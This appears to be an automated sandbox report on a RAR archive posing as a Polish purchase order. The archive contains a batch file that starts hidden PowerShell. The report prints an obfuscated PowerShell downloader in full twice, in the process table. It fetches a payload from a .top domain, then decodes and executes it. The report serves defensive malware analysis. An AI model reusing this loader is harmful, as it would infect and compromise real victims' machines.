File name:

Zamówienie G564592025 PIOTROWICE Sp. z o.o.7z

Full analysis: https://app.any.run/tasks/ae04325e-ab29-4ce2-abcc-3bf136202fa5
Verdict: Malicious activity
Analysis date: March 24, 2025, 14:44:45
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-exec
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

F0629B7D58A0038603CF145939674281

SHA1:

CF7F0606222B2FD468752985EC4ACAE6DE32DF1B

SHA256:

343F9AE3139A535720222FA4989B812813CCA17281A64C179EBCD4ECFFCA438E

SSDEEP:

48:0RL2gYow+HPAkmkVT9LSeYrE+ZT/apS3Z7sSNzDNBmGITo6VEfA+xD1I:0RL27+HPAek1rEyTSpSJ3DWyjRO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7312)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 7312)

    • Executes malicious content triggered by hijacked COM objects (POWERSHELL)

      • powershell.exe (PID: 7312)

  • SUSPICIOUS

    • Executing commands from a ".bat" file

      • WinRAR.exe (PID: 8004)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 8004)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 904)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 7312)
      • powershell.exe (PID: 6388)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 7312)

    • Retrieves command line args for running process (POWERSHELL)

      • powershell.exe (PID: 7312)
      • powershell.exe (PID: 6388)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7312)
      • powershell.exe (PID: 6388)

    • Creates an instance of the specified .NET type (POWERSHELL)

      • powershell.exe (PID: 7312)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 6388)

  • INFO

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 7312)
      • powershell.exe (PID: 6388)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 7312)
      • powershell.exe (PID: 6388)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6388)

    • Manual execution by a user

      • powershell.exe (PID: 6388)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6388)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion: RAR v5
CompressedSize: 1969
UncompressedSize: 3302
OperatingSystem: Win32
ArchivedFileName: Zamówienie G564592025 PIOTROWICE Sp. z o.o.bat
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
135
Monitored processes
10
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs svchost.exe powershell.exe no specs conhost.exe no specs msiexec.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
904C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa8004.31809\Zamówienie G564592025 PIOTROWICE Sp. z o.o.bat" "C:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4724\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6388"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Budgetful='func';Get-History;$Budgetful+='t';Get-History;$Budgetful+='i';Get-History;$Budgetful+='on:';(ni -p $Budgetful -n Flbets188 -value { param($Husars);$Deriverbares=1;do {$raamlks+=$Husars[$Deriverbares];$Deriverbares+=2} until(!$Husars[$Deriverbares])$raamlks});ConvertTo-Html;(ni -p $Budgetful -n Interveinal -value {param($ordbogsskrmen);.($evoler) ($ordbogsskrmen)});ConvertTo-Html;$Fdestuernes=Flbets188 'SN,e TD.PW';$Fdestuernes+=Flbets188 'Te b c LAiMeSNUT';$Enterpillar=Flbets188 'WM oSz.i l,lRaH/';$Modstanden=Flbets188 'ATKl sM1h2';$Supersaintly='U[ n e t . SVE R v,I C E p,O I nSTSM aFn,ACG eIri]U:I: SPEcc U,rGi tZYKPNrUo t OPCSOKLT= $ mAORDMSatUaEn d,ECN';$Enterpillar+=Flbets188 ' 5 .p0 S(AW,imn d o wSs tNDTV B1O0 . 0S; TWUi nI6D4V; KxS6B4S;, DrLv : 1P3U4K. 0H)B LGJe.c.k oU/ 2G0 1M0A0W1A0M1 JF i r eKf oNx /S1 3K4 .M0';$Diplomata=Flbets188 'AU S ECRI-BABgBePnLt';$Opponerende=Flbets188 'Sh t.t p s :K/S/.a vCa n lNl c .vtAoWpS/FmAa lKsNwMo r.nB. x s n';$Erhvervsliv=Flbets188 '.>';$evoler=Flbets188 ' iSeBX';$elastomerernes='Skeletonizer';$Microbacteteria='\Punktafgifterne46.Auf';Interveinal (Flbets188 ' $CG L OKbKA l : o V e RLR,IBs lEESRW= $ E NTvC: a p pDd aDt,Al+C$ m iUcARIoKbSaACEtFEKTTEPr.ISA');Interveinal (Flbets188 'E$ggTlSo B a L :.fLi eAr A.bDR A Sm9F3R=f$ O PSPCO nIe.rTEENkd E .BsCpSlWi t (G$ E.RAHSvmE R VdS lWI v )');Interveinal (Flbets188 $Supersaintly);$Opponerende=$Fierabras93[0];$Suppleringsbelbet=(Flbets188 ' $DgDl oDBEa lB:MABtST E sUt,eoR e Sb=TnCe w,-DO bpjMEIcTTD SS y S t eKmA.U$ f d eESFTTU EUR.NWEES');Interveinal ($Suppleringsbelbet);Interveinal (Flbets188 ' $IA.t t e s t,eBr e sR.,HPeSa.dAeCr s [.$,DFiFp l oDm.a t,a ] =B$ E n t,e r p i lIlSa r');$Indertryks=Flbets188 ' $TA t,t e.sRtMe,r.eSs .cDto,wBnhlBo aFd F i lSe (.$ROEp p,o nVeSr,e n d eR,S$LK uFlOt ufr kUrSe d s eAnce )';$Kulturkredsene=$Overrisler;Interveinal (Flbets188 'F$,GAl o B.aSL :.C AOR O.l I,N E SA=.(HTIEMS t -SPnAOt H $MKTu lTTQU rSk rGe.D SReBnFe )');while (!$Carolines) {Interveinal (Flbets188 ',$ gSlKoNbPa.lM: S e mUiSvPi sKi b i l i t yA= $ KFa,l,c iuu.mIh y.d r o xRird 2M0S8') ;Interveinal $Indertryks;Interveinal (Flbets188 '.[ t HdrLe a D.iFNFG .StTH R eEa dS]P:,:ssuL eAE pk( 4G0 0U0I)');Interveinal (Flbets188 'M$DG L oSB,a lK: CPATR O.LDi nAeOSU=S(EtTEVS TS-,pMAMt H .$ kBUMLAtLu.r k R eTD SFEYNCE )') ;Interveinal (Flbets188 ' $QGJlPOSb a L :Sn a rpcHONTDI Sfm = $sG LMO BKASlT: aWLKkJo,hCoOL pSoSLEiST,I kF+ + % $ f i,E r aRBFRPAPsD9 3I.Pc o U NRT') ;$Opponerende=$Fierabras93[$Narcotism]}$Tidlsenes=411076;$vemoden=28403;Interveinal (Flbets188 'F$HG LMO B AUlH: S.p iPd s treGgsT, S= G E,t.-,cOoBN TUEMNSt $CkAu L tMuAR kTr efDBS,eKNEe');Interveinal (Flbets188 'P$SgUlGoSb aRl :NV r dCi p.a p,i.r cMeAnFt r aLlaeInSs, ,=M T[ S,y sAt eDm .PC o,n v eRrZt,] :R: FmrMo m B a sSeM6U4 SbtSrUiwn gT(.$nS p i d sat.e g tH)');Interveinal (Flbets188 ' $PgNlDoAbJA Lt:ThAy P OSGmLIYic ADE m i AC C=, [GsRyASEtAeSM .,TKE xMT . e,n c O D,I,nDG ].: :FaOs.C i IS. gfE,TTS TUR iPN G (B$SvAR dUIEPGa P iRr C e n tJr A LDE.NAs )');Interveinal (Flbets188 ',$ gBl o.B AdL :PmKA LSEHR eGSk= $ h y P oCgfLTYVc aCE MRIRa ..SFuSBOS t,R,i NAgI( $ TSIUD LTsPE,nVeCS ,S$dVSeCm OSD.EMNU)');Interveinal $Maleres;"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
7248\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7312powershell.exe -windowstyle hidden "Get-Service;$Budgetful='func';Get-History;$Budgetful+='t';Get-History;$Budgetful+='i';Get-History;$Budgetful+='on:';(ni -p $Budgetful -n Flbets188 -value { param($Husars);$Deriverbares=1;do {$raamlks+=$Husars[$Deriverbares];$Deriverbares+=2} until(!$Husars[$Deriverbares])$raamlks});ConvertTo-Html;(ni -p $Budgetful -n Interveinal -value {param($ordbogsskrmen);.($evoler) ($ordbogsskrmen)});ConvertTo-Html;$Fdestuernes=Flbets188 'SN,e TD.PW';$Fdestuernes+=Flbets188 'Te b c LAiMeSNUT';$Enterpillar=Flbets188 'WM oSz.i l,lRaH/';$Modstanden=Flbets188 'ATKl sM1h2';$Supersaintly='U[ n e t . SVE R v,I C E p,O I nSTSM aFn,ACG eIri]U:I: SPEcc U,rGi tZYKPNrUo t OPCSOKLT= $ mAORDMSatUaEn d,ECN';$Enterpillar+=Flbets188 ' 5 .p0 S(AW,imn d o wSs tNDTV B1O0 . 0S; TWUi nI6D4V; KxS6B4S;, DrLv : 1P3U4K. 0H)B LGJe.c.k oU/ 2G0 1M0A0W1A0M1 JF i r eKf oNx /S1 3K4 .M0';$Diplomata=Flbets188 'AU S ECRI-BABgBePnLt';$Opponerende=Flbets188 'Sh t.t p s :K/S/.a vCa n lNl c .vtAoWpS/FmAa lKsNwMo r.nB. x s n';$Erhvervsliv=Flbets188 '.>';$evoler=Flbets188 ' iSeBX';$elastomerernes='Skeletonizer';$Microbacteteria='\Punktafgifterne46.Auf';Interveinal (Flbets188 ' $CG L OKbKA l : o V e RLR,IBs lEESRW= $ E NTvC: a p pDd aDt,Al+C$ m iUcARIoKbSaACEtFEKTTEPr.ISA');Interveinal (Flbets188 'E$ggTlSo B a L :.fLi eAr A.bDR A Sm9F3R=f$ O PSPCO nIe.rTEENkd E .BsCpSlWi t (G$ E.RAHSvmE R VdS lWI v )');Interveinal (Flbets188 $Supersaintly);$Opponerende=$Fierabras93[0];$Suppleringsbelbet=(Flbets188 ' $DgDl oDBEa lB:MABtST E sUt,eoR e Sb=TnCe w,-DO bpjMEIcTTD SS y S t eKmA.U$ f d eESFTTU EUR.NWEES');Interveinal ($Suppleringsbelbet);Interveinal (Flbets188 ' $IA.t t e s t,eBr e sR.,HPeSa.dAeCr s [.$,DFiFp l oDm.a t,a ] =B$ E n t,e r p i lIlSa r');$Indertryks=Flbets188 ' $TA t,t e.sRtMe,r.eSs .cDto,wBnhlBo aFd F i lSe (.$ROEp p,o nVeSr,e n d eR,S$LK uFlOt ufr kUrSe d s eAnce )';$Kulturkredsene=$Overrisler;Interveinal (Flbets188 'F$,GAl o B.aSL :.C AOR O.l I,N E SA=.(HTIEMS t -SPnAOt H $MKTu lTTQU rSk rGe.D SReBnFe )');while (!$Carolines) {Interveinal (Flbets188 ',$ gSlKoNbPa.lM: S e mUiSvPi sKi b i l i t yA= $ KFa,l,c iuu.mIh y.d r o xRird 2M0S8') ;Interveinal $Indertryks;Interveinal (Flbets188 '.[ t HdrLe a D.iFNFG .StTH R eEa dS]P:,:ssuL eAE pk( 4G0 0U0I)');Interveinal (Flbets188 'M$DG L oSB,a lK: CPATR O.LDi nAeOSU=S(EtTEVS TS-,pMAMt H .$ kBUMLAtLu.r k R eTD SFEYNCE )') ;Interveinal (Flbets188 ' $QGJlPOSb a L :Sn a rpcHONTDI Sfm = $sG LMO BKASlT: aWLKkJo,hCoOL pSoSLEiST,I kF+ + % $ f i,E r aRBFRPAPsD9 3I.Pc o U NRT') ;$Opponerende=$Fierabras93[$Narcotism]}$Tidlsenes=411076;$vemoden=28403;Interveinal (Flbets188 'F$HG LMO B AUlH: S.p iPd s treGgsT, S= G E,t.-,cOoBN TUEMNSt $CkAu L tMuAR kTr efDBS,eKNEe');Interveinal (Flbets188 'P$SgUlGoSb aRl :NV r dCi p.a p,i.r cMeAnFt r aLlaeInSs, ,=M T[ S,y sAt eDm .PC o,n v eRrZt,] :R: FmrMo m B a sSeM6U4 SbtSrUiwn gT(.$nS p i d sat.e g tH)');Interveinal (Flbets188 ' $PgNlDoAbJA Lt:ThAy P OSGmLIYic ADE m i AC C=, [GsRyASEtAeSM .,TKE xMT . e,n c O D,I,nDG ].: :FaOs.C i IS. gfE,TTS TUR iPN G (B$SvAR dUIEPGa P iRr C e n tJr A LDE.NAs )');Interveinal (Flbets188 ',$ gBl o.B AdL :PmKA LSEHR eGSk= $ h y P oCgfLTYVc aCE MRIRa ..SFuSBOS t,R,i NAgI( $ TSIUD LTsPE,nVeCS ,S$dVSeCm OSD.EMNU)');Interveinal $Maleres;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7320\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7564"C:\WINDOWS\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
7616C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
8004"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Zamówienie G564592025 PIOTROWICE Sp. z o.o.7z.rar"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
Total events
12 718
Read events
12 694
Write events
11
Delete events
13

Modification events

(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Zamówienie G564592025 PIOTROWICE Sp. z o.o.7z.rar
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\DialogEditHistory\ExtrPath
Operation:writeName:1
Value:
C:\Users\admin\Desktop\ext
(PID) Process:(8004) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\DialogEditHistory\ExtrPath
Operation:writeName:0
Value:
C:\Users\admin\Desktop
Executable files
0
Suspicious files
5
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
7312powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ywdkq5bx.20v.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7312powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1Z6HCU6NMSOJAWJBT94V.tempbinary
MD5:5E9383FBA6AE6A1D7540DA717FD8E4FB
SHA256:709CC2434C1F25833BDDCE3A52A4F553E458ED385046CFFB892F1B492BAE62DC
7312powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mqhzbtos.5pn.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7312powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10f946.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
7312powershell.exeC:\Users\admin\AppData\Roaming\Punktafgifterne46.Auftext
MD5:B3BC9607DC83C465EAAC8BC6E3132864
SHA256:D11FE6973EC78C5490CE3DD1B24200031979E8378CDC77D036ACAC72DB90B2DC
6388powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wlxibeig.hza.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6388powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
6388powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_emwnp5ds.gxz.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7312powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:1FB8E5D34E335C1A0C6EB81E1E343A31
SHA256:—
8004WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa8004.31809\Zamówienie G564592025 PIOTROWICE Sp. z o.o.battext
MD5:D5E79F9332A5BAB54B9D1AED65185029
SHA256:59AE9C126CD618E8E8B3ABFFD9B35A07B4FC809FE576FC1CC52D15F22CD32E62
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
24
DNS requests
15
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.191:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4224
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7704
backgroundTaskHost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
4224
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
—
—
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
23.48.23.191:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6544
svchost.exe
20.190.159.68:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.115.3.253:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
3216
svchost.exe
40.115.3.253:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7704
backgroundTaskHost.exe
20.103.156.88:443
arc.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7704
backgroundTaskHost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.142
whitelisted
crl.microsoft.com
  • 23.48.23.191
  • 23.48.23.148
  • 23.48.23.137
  • 23.48.23.143
  • 23.48.23.138
  • 23.48.23.146
  • 23.48.23.141
  • 23.48.23.194
  • 23.48.23.134
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
  • 4.231.128.59
whitelisted
login.live.com
  • 20.190.159.68
  • 40.126.31.71
  • 40.126.31.0
  • 40.126.31.130
  • 20.190.159.130
  • 40.126.31.69
  • 20.190.159.23
  • 20.190.159.2
whitelisted
client.wns.windows.com
  • 40.115.3.253
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
arc.msn.com
  • 20.103.156.88
whitelisted
avanllc.top
  • 172.67.176.19
  • 104.21.72.70
unknown
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Zamówienie G564592025 PIOTROWICE Sp. z o.o.7z